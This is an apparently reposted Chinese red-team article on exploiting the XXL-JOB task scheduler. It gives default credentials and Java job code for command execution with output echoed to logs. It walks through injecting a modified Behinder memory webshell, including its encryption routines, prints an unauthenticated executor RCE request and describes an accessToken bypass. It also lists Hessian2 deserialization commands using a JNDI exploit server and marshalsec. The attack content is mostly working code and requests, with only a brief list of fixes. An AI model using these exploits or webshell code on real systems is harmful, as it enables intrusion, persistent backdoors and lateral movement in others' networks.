简介
XXL-JOB是一个轻量级分布式任务调度平台,支持通过web页面对任务进行操作,基于Java-spring boot框架开发,利用Maven依赖编译好,开箱即用。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
前言
1、XXL-JOB的默认账号:admin 密码:123456
2、保证能够正常执行代码需要先查看执行器管理xxl-job-executor是否正常连接。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
后台计划任务-出网环境
XXL-JOB计划任务反弹Shell
在出网的环境就可以直接通过反弹shell获取权限为后续横向渗透做铺垫。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
后台计划任务-不出网环境
命令执行回显
不出网的环境就无法进行反弹shell就需要选择GLUE(Java)运行模式,通过XxlJobLogger.log 日志记录功能把执行的命令结果导出到日志模块。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
命令执行代码:
package com.xxl.job.service.handler;
import com.xxl.job.core.log.XxlJobLogger; import com.xxl.job.core.biz.model.ReturnT; import com.xxl.job.core.handler.IJobHandler;
import java.io.BufferedReader; import java.io.IOException; import java.io.InputStreamReader;
public class DemoGlueJobHandler extends IJobHandler {
@Override public ReturnT<String> execute(String param) throws Exception { XxlJobLogger.log("XXL-JOB, Hello World."); String command = "ls ./"; try { String commandOutput = executeCommand(command); XxlJobLogger.log("Command Output:n" + commandOutput); } catch (IOException e) { XxlJobLogger.log("Error executing command: " + e.getMessage()); return ReturnT.FAIL; }
return ReturnT.SUCCESS; }
private String executeCommand(String command) throws IOException { Process process = Runtime.getRuntime().exec(command); StringBuilder output = new StringBuilder();
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); String line; while ((line = reader.readLine()) != null) { output.append(line).append("n"); }
int exitCode; try { exitCode = process.waitFor(); } catch (InterruptedException e) { Thread.currentThread().interrupt(); throw new IOException("Command execution interrupted"); }
if (exitCode != 0) { throw new IOException("Command execution failed with exit code: " + exitCode); }
return output.toString(); } }
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
还是之前的步骤执行一次,然后在调度日志里的执行日志查看结果。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
XXL-JOB植入Agent内存马
目前有了命令执行但是也不方便内网横向渗透,如果能植入一个内存马就方便多了。这里还是继续选择GLUE(Java)模块来植入内存马。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
打入Agent内存马两个条件:
通过之前命令执行模块可以查看下控制器和执⾏器是否都在⼀台主机上。
注意:这里使用的是veo写的agent内存马进行修改,如果直接拿原作者写的内存马注入后能够正常使用但是XXL-JOB服务会崩溃,需要重启服务才能解决。
所以这里我把内存马进行修复了下并删除了其余内存马只保留了一个冰蝎的。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
注入内存马
正常来说先直接echo一个agent马然后加载就完事了,我嫌麻烦就改成一步到位,但是新的问题出现了,如果把一个agent的马base64编码后放在直接存放在一个变量他提示太长,然后就只能拆分多个方法体保存最后拼接。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
设置冰蝎传输协议
加密函数:
private byte[] Encrypt(byte[] data) { byte[] dt = new byte[data.length]; for (int i = 0; i < data.length; i++) { dt[i] = (byte) (data[i] + 1); } try { java.io.ByteArrayOutputStream o = new java.io.ByteArrayOutputStream(); java.util.zip.GZIPOutputStream g = new java.util.zip.GZIPOutputStream(o); g.write(dt); g.close(); byte[] c = o.toByteArray(); byte[] ct = new byte[c.length];
for (int i = 0; i < c.length; i++) { ct[i] = (byte) (c[i] + 1); } return ct; } catch (Exception ignored) { } return data; }
解密函数:
private byte[] Decrypt(byte[] data) { byte[] dt = new byte[data.length]; for (int i = 0; i < data.length; i++) { dt[i] = (byte) (data[i] - 1); } try { java.io.ByteArrayInputStream t = new java.io.ByteArrayInputStream(dt); java.util.zip.GZIPInputStream i = new java.util.zip.GZIPInputStream(t, dt.length); byte[] c = r(i); byte[] ct = new byte[c.length]; for (int b = 0; b < c.length; b++) { ct[b] = (byte) (c[b] - 1); } return ct; } catch (Exception ignored) { } return data; } private byte[] r(java.io.InputStream i) { byte[] temp = new byte[1024]; java.io.ByteArrayOutputStream b = new java.io.ByteArrayOutputStream(); int n; try { while((n = i.read(temp)) != -1) {b.write(temp, 0, n); }} catch (Exception ignored) { } return b.toByteArray(); }
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
有xxl-job-admin前缀就加上,没有就默认连接http://xxxx.xxx.xx/faviconb
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
executor 未授权访问致远程命令执行漏洞
影响版本
XXL-JOB<=2.2.0
漏洞复现
控制器(admin)http://your-ip:8080
执行器(executor) http://your-ip:9999
注意:我们需要打的执行器默认端口为9999,linux系统的glueType选择"GLUE_SHELL"、Windows系统的glueType选择 "GLUE POWERSHELL"模式、全平台通用的glueType选择"GLUE GROOVY"
POST /run HTTP/1.1 Host: 127.0.0.1:9999 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Upgrade-Insecure-Requests: 1 Sec-Fetch-Dest: document Sec-Fetch-Mode: navigate Sec-Fetch-Site: cross-site Content-Type: application/json Content-Length: 365
{ "jobId": 1, "executorHandler": "demoJobHandler", "executorParams": "demoJobHandler", "executorBlockStrategy": "COVER_EARLY", "executorTimeout": 0, "logId": 1, "logDateTime": 1586629003729, "glueType": "GLUE_SHELL", "glueSource": "touch /tmp/success", "glueUpdatetime": 1586699003758, "broadcastIndex": 0, "broadcastTotal": 0 }
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
XXL-JOB默认accessToken身份绕过漏洞
影响版本
XXL-JOB<=2.4.0
漏洞复现
这个漏洞和之前的利用executor 未授权远程命令执行是一样的,只是在2.4.0 后的版本上,在executor 服务上加了token 校验,在未更改accessToken 默认的情况下导致可以权限绕过从而实现rce 。
具体操作跟executor 未授权远程命令执行是一样的,只是这里我用的GLUE GROOVY 执行的命令,其他几个模式执行都是一样。
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
未授权 Hessian2反序列化
影响版本
xxl-job <=2.0.2
漏洞复现
网上一堆复现,本地没环境就没有截图了复现了(同样可以注入内存马)
1、启动恶意JNDI注入利用服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -A 127.0.0.1
2、marshalsec生成Hessian2这个Gadget java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.Hessian2 SpringAbstractBeanFactoryPointcutAdvisor ldap://127.0.0.1:1389/ucceug > test.ser
3、执行命令 curl -XPOST -H "Content-Type: x-application/hessian" --data-binary @test.ser http://127.0.0.1:8089/xxl-job-admin/api
修复建议
-
将密码设置为强密码。
-
将服务平台放置内网,减少风险。
-
增加授权验证,配置 xxl.job.accessToken 防止未授权访问漏洞。
参考
https://github.com/veo/vagent
推广一波自己的星球:
安全绘景:持续更新0/1day的poc、红队技巧、实战文章、实用工具等资源,欢迎各位师傅来扰,不满意直接退款。最后祝愿各位师傅天天高危!
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
![XXL-JOB 深度利用 XXL-JOB 深度利用]()
原文始发于微信公众号(安全绘景):XXL-JOB 深度利用
|
评论